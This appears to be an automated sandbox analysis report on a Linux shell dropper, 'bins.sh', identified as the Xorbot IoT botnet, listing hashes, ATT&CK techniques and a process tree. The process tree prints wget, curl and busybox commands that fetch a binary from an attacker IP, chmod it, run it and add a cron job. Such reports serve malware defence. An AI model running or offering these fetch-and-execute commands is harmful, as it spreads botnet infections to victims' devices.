xorbot | 0cf31871ca890b78df73b7cdc4d16804724efb6ecc9479a594027f8839888669

Analysis

max time kernel
149s
max time network
154s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
01/12/2024, 10:57

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General

Target

bins.sh
Size

10KB
MD5

e6a2e72aaaf90ebe7d82938e172077aa
SHA1

586d13e40c79839b26ced27f2eec1b6f3ed50138
SHA256

0cf31871ca890b78df73b7cdc4d16804724efb6ecc9479a594027f8839888669
SHA512

2de6dfca2072a2e192f68807acd079c840240b13a7c6b06f801407984d23224e9a5f7c0f1feffb24de8bf0f66760e268a41084b02e628f111339b01216c8e479
SSDEEP

96:ywbeFBJFuwuXZgOFFh+2a92HfNKdHT4XJWOfhY4FBJFuwF9SpHfMWKE+2cwGB:jb2wpgSFh+2a92HfNv5p5MHfLz+2g

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1514	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb	1515	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb

Renames itself 1 IoCs

pid	Process
1516	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.E0Jlhy	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/4/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/596/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/1292/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/1594/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/1588/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/83/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/442/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/489/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/1051/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/1130/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/1158/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/1585/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/35/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/168/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/1541/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/1553/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/1565/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/1611/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/1197/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/1587/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/12/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/173/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/457/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/946/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/1535/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/1616/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/19/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/2/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/1152/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/1532/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/31/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/1566/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/1/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/14/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/165/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/172/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/510/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/546/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/1195/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/343/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/602/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/1073/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/1082/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/1613/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/30/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/665/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/1126/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/182/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/527/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/1174/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/1572/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/1573/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/34/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/716/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/964/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/1567/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/1591/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/460/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/1494/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/26/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/164/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/1619/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/344/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
File opened for reading	/proc/1537/cmdline	mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb	wget
File opened for modification	/tmp/mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb	curl
File opened for modification	/tmp/mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1498
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1499
- /usr/bin/wget
  wget http://216.126.231.240/bins/mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
  2⤵
  - Writes file to tmp directory
  PID:1500
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
  2⤵
  - Writes file to tmp directory
  PID:1512
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
  2⤵
  - Writes file to tmp directory
  PID:1513
- /bin/chmod
  chmod 777 mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
  2⤵
  - File and Directory Permissions Modification
  PID:1514
- /tmp/mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
  ./mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1515
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1517
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1518
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1519
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1520
- /bin/rm
  rm mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
  2⤵
  PID:1522
- /usr/bin/wget
  wget http://216.126.231.240/bins/ltdNohIm3yTIMvIbh3S240jm6PlhQazPas
  2⤵
  PID:1525

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

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/var/spool/cron/crontabs/tmp.E0Jlhy

Filesize
210B

MD5
956a9f9bfa1a87193e92b0989e373b23

SHA1
ef1f16daab390387b5b86497aa7a8de3cd7f0e61

SHA256
3a05317bdc840519b72ea7b779d4dd00ed44a500c19e3d25625d73b970d1d822

SHA512
59fdddc4d33b83d82a594ca7c16628c696b5fbc1ce5b9c1d42634d2afb1ec9dbfdafd48fd308ea203c12ab0683b949dc2e6651ffaf387da736da67866affe84a

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads